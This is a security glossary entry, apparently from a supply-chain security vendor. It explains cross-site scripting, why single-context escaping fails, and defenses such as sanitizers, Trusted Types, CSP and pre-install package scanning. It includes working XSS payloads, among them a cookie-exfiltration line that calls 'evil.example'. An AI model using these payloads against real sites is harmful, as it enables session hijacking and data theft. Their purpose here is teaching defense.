Back to glossary

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a flaw where a page renders attacker-controlled data as code, running the attacker's JavaScript in the victim's browser.

Also known as Cross site scripting, Cross-site scripting attack, XSS attack

Cross-site scripting (XSS) is a vulnerability in which a web application places attacker-controlled data into a page in a form the browser parses as code. The attacker's JavaScript then runs in the victim's browser with the site's origin, so it can read the page, act with the user's session, and exfiltrate data.

The browser's security boundary is the same-origin policy. Script loaded by https://app.example can read that origin's DOM, call its APIs with the user's cookies, and read the responses. Script from any other origin cannot. XSS defeats the boundary from the inside: the attacker's code never crosses origins, because the vulnerable page imports it. Once it runs, the browser cannot tell it apart from the application's own code.

XSS is the highest-ranked software weakness in MITRE's analysis of real-world CVEs. MITRE ranked CWE-79 first on the 2025 CWE Top 25, with a score of 60.38. Second-place SQL injection scored 28.72. OWASP's 2025 Injection category counts more than 30,000 CVEs for XSS alone.

Our position: XSS is a parser-confusion bug, so the fix belongs at the sink, not at the input. Encode for the exact context a value lands in, and make dangerous DOM sinks reject plain strings with Trusted Types, which every major browser engine supports as of February 2026. Then treat a compromised frontend dependency as what it is: XSS that needs no bug, and that none of those controls stop.

What is cross-site scripting (XSS)?

#

Cross-site scripting (XSS) is code injection where the injected language is whatever the browser's parser is reading at that byte: HTML, an attribute value, a URL, CSS, or JavaScript. It belongs to the same family as SQL injection. Data is concatenated into a string that a parser later reads, and the parser cannot know which bytes were meant to be data.

The classic case is a server template that interpolates a query parameter:

JavaScript
app.get('/search', (req, res) => {
  res.send(`<h1>Results for ${req.query.q}</h1>`);
});

A request for /search?q=<img src=x onerror=fetch('//evil.example/?c='+document.cookie)> produces a response the browser's HTML tokenizer reads as an <img> start tag with an event handler. The image fails to load, onerror fires, and the payload runs as app.example.

Everything the user can do in that tab, the payload can do. It can read any page on the origin with fetch(), change the account email, submit forms, log keystrokes, or rewrite the DOM into a fake login prompt. MITRE files the root cause as CWE-79, "Improper Neutralization of Input During Web Page Generation."

Session hijacking is the textbook goal, and it is narrower than most guides imply. The HttpOnly cookie attribute hides a cookie from document.cookie, and every session cookie should set it. HttpOnly does not stop the payload from calling fetch('/api/account', {method: 'POST'}) on the same origin. The browser attaches the session cookie to that request automatically. With HttpOnly, the attacker loses a portable token but keeps full control of the session while the tab is open.

Stored, reflected, and DOM-based XSS

#

The three XSS types differ in where the payload is stored and which code turns it into markup. That difference decides which tools can see the bug.

TypeWhere the payload livesWhat builds the markupVisible to the server?
StoredDatabase: a comment, profile field, filenameServer template, for every viewerYes, in storage and in every response
ReflectedThe request: a query string or form fieldServer template, for the one victim who follows the linkYes, in the request and the response
DOM-basedClient state: location.hash, postMessage, localStorageClient JavaScript writing to a DOM sinkOften no. The URL fragment is never sent to the server

The Document Object Model (DOM) is the browser's live tree of the page, which JavaScript reads and mutates. DOM-based XSS happens entirely inside it: attacker-controlled data flows from a source to a sink that parses strings as HTML or code.

JavaScript
// source: anything after # in the URL, controlled by whoever wrote the link
const name = decodeURIComponent(location.hash.slice(1));
// sink: parses the string as HTML
document.querySelector('#greeting').innerHTML = `Hi ${name}`;

A link to https://app.example/#<img src=x onerror=alert(document.domain)> executes the payload, and the server logs show only a request for /. Many developers believe innerHTML is safe because the HTML standard does not run <script> elements inserted through it. We tested that belief in Chromium 153. A <script> payload assigned to innerHTML stayed inert. An <img onerror> payload assigned to the same property executed.

Stored XSS is the most dangerous of the three, because it needs no lure. Every user who views the poisoned record runs the payload, including administrators with more privileges than the attacker.

Why does one escaping function not prevent XSS?

#

XSS escaping fails when the encoding targets a different parser context than the one the value actually lands in. HTML escaping makes a value safe as HTML text and inside quoted attributes. It does nothing for an unquoted attribute, a URL, or a JavaScript expression.

We ran this experiment in Chromium 153. A typical HTML escaper wrapped each attacker value, which was then placed in five common template positions. Each payload calls a marker function hit(), so execution is unambiguous.

JavaScript
const esc = s => s
  .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;').replace(/'/g, '&#39;');
ContextTemplateAttacker valueResult
HTML text<p>${esc(v)}</p><img src=x onerror=hit()>Inert
Quoted attribute<input value="${esc(v)}">" autofocus onfocus=hit() x="Inert
Unquoted attribute<input value=${esc(v)}>x autofocus onfocus=hit()Executed
URL in href<a href="${esc(v)}">javascript:hit()Executed on click
JavaScript expression<script>var n = ${esc(v)};</script>1;hit()Executed

The three payloads that executed contain no character the escaper touches. A space ends an unquoted attribute value, so autofocus onfocus= becomes two new attributes. The javascript: scheme is plain letters and a colon. Inside <script>, the HTML parser does not decode entities at all, so &quot; would be meaningless there anyway, and 1;hit() needs no quotes. Each context needs its own rule: quote every attribute, allowlist URL schemes such as https: and mailto:, and pass data to scripts as JSON in a data- attribute instead of splicing it into code.

Frameworks encode by context so you do not have to remember these rules. React escapes text and attribute values. React 19.3.1 also neutralizes javascript: URLs in href, which we confirmed with renderToString:

HTML, XML
<p>&quot;&gt;&lt;img src=x onerror=alert(1)&gt;</p>
<a href="javascript:throw new Error(&#x27;React has blocked a javascript: URL as a security precaution.&#x27;)">x</a>
<div>"><img src=x onerror=alert(1)></div>

The third line is dangerouslySetInnerHTML, which passes the string through untouched. The framework guarantee ends at its escape hatches, which is where XSS reviews should start.

How do you prevent cross-site scripting?

#

You prevent cross-site scripting by making untrusted data reach the browser only through APIs that cannot interpret it as code. Then you add browser-enforced layers that catch the mistakes that slip through anyway. Input validation helps with types, such as rejecting a non-numeric ID, but it is not an XSS defense. The same string can be safe in one context and dangerous in another.

Sanitize when you must accept HTML

#

Rich text editors, Markdown renderers, and email viewers need to render some user HTML. Escaping would destroy it, so these features need a sanitizer that parses the markup and removes anything that can run script. DOMPurify is the common library choice. The browser now ships one too: Element.setHTML() from the HTML Sanitizer API. Firefox 148 shipped it first on February 24, 2026, and Chrome added it in version 146. As of November 2026, Safari does not support it, according to MDN's browser compatibility data.

Mozilla's engineers stated the motivation directly: "XSS has a long history of being notoriously difficult to prevent," wrote Tom Schuster, Frederik Braun, and Christoph Kerschbaumer. In our Chromium test, setHTML('<img src=x onerror=hit()><b>ok</b>') produced <b>ok</b>, and the handler never ran.

Enforce Trusted Types on DOM sinks

#

Trusted Types is the control that turns DOM XSS from a code-review problem into a runtime type error. A Content Security Policy directive tells the browser to reject plain strings at injection sinks such as innerHTML, outerHTML, and document.write. Only objects created by a named policy are accepted.

HTTP
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types app-html dompurify
JavaScript
el.innerHTML = '<img src=x onerror=alert(1)>';
// TypeError: Failed to set the 'innerHTML' property on 'Element':
// This document requires 'TrustedHTML' assignment.

const policy = trustedTypes.createPolicy('app-html', {
  createHTML: s => DOMPurify.sanitize(s),
});
el.innerHTML = policy.createHTML('<img src=x onerror=alert(1)><b>hi</b>');
// el.innerHTML === '<img src="x"><b>hi</b>'

trustedTypes.createPolicy('evil', { createHTML: s => s });
// TypeError: ... Policy "evil" disallowed.

That output is from our test run. The trusted-types allowlist matters as much as the enforcement. Code that is not on the list cannot mint a pass-through policy. The cost showed up in the same run. With only app-html allowed, DOMPurify could not create its own internal dompurify policy, and the sanitized write failed until we added it to the header. Every library that writes to a sink needs its own policy or a refactor. Deploy with Content-Security-Policy-Report-Only first and collect violations.

Browser support stopped being an excuse this year. Chrome and Edge have enforced Trusted Types since version 83. Safari 26.0 added it on September 15, 2025, and Firefox 148 followed on February 24, 2026.

Run a strict Content Security Policy

#

A nonce-based Content Security Policy blocks injected inline scripts and inline event handlers like onerror, unless the policy re-enables them with 'unsafe-inline'. It is the backstop for the escaping bug you have not found yet. Nonce-based CSP does nothing about script the policy already trusts. That limit is the subject of the next section.

ControlStopsDoes not stopMain cost
Context-aware escapingInjection into the context it was written forValues placed in a different context, raw-HTML escape hatchesDiscipline at every template and sink
HTML sanitizer (DOMPurify, setHTML)Script in user-supplied rich textData written to non-HTML sinks such as URLs or evalSanitizer bypasses; setHTML is missing in Safari
Trusted TypesDOM XSS through string sinksServer-side XSS, code that never touches a sinkEvery sink-writing library needs a policy
Strict CSP with noncesInjected inline scripts and event handlersMalicious code in an allowed scriptNonce per response, inline handlers must go
Subresource IntegrityA changed third-party file with a pinned hashDynamically generated scripts, your own bundleHash updates on every version bump
Pre-install package analysisMalicious code in a dependency before it shipsXSS bugs in your own codeA verdict is needed before install

Verdict: use context-aware templating everywhere, and enforce Trusted Types plus a nonce-based CSP on any application that handles sessions. Use a sanitizer only where users must submit HTML. None of these controls covers the code you bundle, so check dependencies before they enter the build.

When the injected script is already in your bundle

#

A compromised frontend dependency gives an attacker the same capability as XSS without any injection bug. XSS is a delivery problem: getting attacker JavaScript to run in your origin. A malicious package version solves that problem for the attacker in advance, and your build ships it as first-party code.

The Qix compromise on September 8, 2025, is the clearest case. A maintainer account takeover began with a fake 2FA-reset email from npmjs.help. The attacker then published malicious versions of 19 packages, including debug@4.4.2 and chalk@5.6.1. The affected packages generally receive 2 to 3 billion downloads per week. The payload checked typeof window !== 'undefined' to confirm it was in a browser. It then hooked window.fetch, XMLHttpRequest, and window.ethereum.request, and silently swapped cryptocurrency recipient addresses. That is an XSS payload in everything but name.

We reproduced the core move under the strictest policy in this article. The page sent script-src 'self'; require-trusted-types-for 'script'; trusted-types 'none' and loaded one first-party vendor.js that wrapped fetch. The application's own API call came back altered:

Shell Session
> await (await fetch('/api/quote')).text()
// server sent:  {"payTo":"0x1111111254eeb25477b68fb85ed929f73a960582"}
'{"payTo":"0xATTACKER00000000000000000000000000000000"}'

The browser raised no violation. CSP allowed the script because it came from 'self'. Trusted Types had nothing to enforce, because monkey-patching fetch writes to no injection sink. Escaping never applied, because no data was injected.

Figure 1 shows three ways attacker JavaScript reaches a site's origin. Path 1 is an injection bug in your own code, such as a search parameter carrying <img src=x onerror=…>. Context-aware escaping, Trusted Types, and a strict CSP each stop it. Path 2 is a third-party script tag, such as cdn.polyfill.io. Escaping does not apply, a CSP host allowlist permits it, and SRI helps only when the file's bytes are static. Path 3 is a compromised package inside your bundle, such as debug@4.4.2 in vendor.js. Escaping, CSP 'self', Trusted Types, and SRI all fail to apply, and only a pre-install scan of the package stops it.

Third-party script tags fail the same way. The Polyfill.io supply chain attack in 2024 hit more than 110,000 websites after the domain changed owners and began serving malware. Subresource Integrity could not have helped most of those sites, because the service generated its JavaScript dynamically from each request's headers. Andrew Betts, who created the Polyfill service, put it plainly: "If you own a website, loading a script implies an incredible relationship of trust with that third party."

Attackers also exploit the XSS defenses themselves. The malicious express-dompurify package copied the README of DOMPurify, the sanitizer downloaded more than 6.7 million times a week at the time. Its code stole browser credentials and cryptocurrency wallet data. Both that package and the Qix payload relied on code obfuscation built from _0x-prefixed string arrays decoded at runtime. That is the pattern Socket's Obfuscated code alert flags as high severity when we analyze a package's published files.

The defense for path 3 has to run before the code reaches the bundle, because nothing in the browser will catch it afterward. Analyze what the package version contains, not what its metadata claims. A release-age cooldown helps against hijacked versions, such as the 24-hour minimumReleaseAge default that pnpm 11 introduced. A cooldown does nothing against a package that was malicious from its first release, like express-dompurify.

How is XSS different from CSRF and clickjacking?

#

XSS runs attacker code inside your origin, while CSRF and clickjacking operate from outside it. That difference decides what each attack can read and which defense applies. The table also covers cross-frame scripting, an older term for a framing-based variant.

AttackWhere attacker code runsCan it read your responses?Primary defense
XSSInside your originYesContext-aware encoding, Trusted Types, strict CSP
Cross-site request forgery (CSRF)On the attacker's site, which makes the victim's browser send a request to youNoSameSite cookies and anti-CSRF tokens
ClickjackingOn the attacker's site, which frames your page under a decoy UINoCSP frame-ancestors or X-Frame-Options
Cross-frame scripting (XFS)On the attacker's site, combining script with an iframe of your pageOnly through browser bugsSame as clickjacking: refuse to be framed

CSRF ranked third on the 2025 CWE Top 25 as CWE-352, with a score of 13.64. A forged request can also aim at expensive endpoints, which turns CSRF into a cheap denial-of-service lever. XSS defeats CSRF tokens outright, because a same-origin payload can read the token from the page and send it.

Clickjacking and XSS combine badly. At DEF CON 33, researcher Marek Tóth showed clickjacking flaws in major password manager extensions. On a site with an XSS bug, his technique could steal stored credentials, 2FA codes, and passkeys. OWASP defines XFS as an attack "that combines malicious JavaScript with an iframe that loads a legitimate page." Its prevention is the same: do not let other sites frame yours.

XSS also topped the 2024 CWE Top 25, and the 2025 edition of the OWASP Top 10 still files it under Injection. Trusted Types now ships in every major engine, so DOM XSS defenses can be browser-enforced for every user, not only Chromium users. The browser has no equivalent for code you shipped yourself. CSP, SRI, and Trusted Types all assume your bundle is trustworthy, and that assumption holds only if someone checked the dependency code before it entered the build.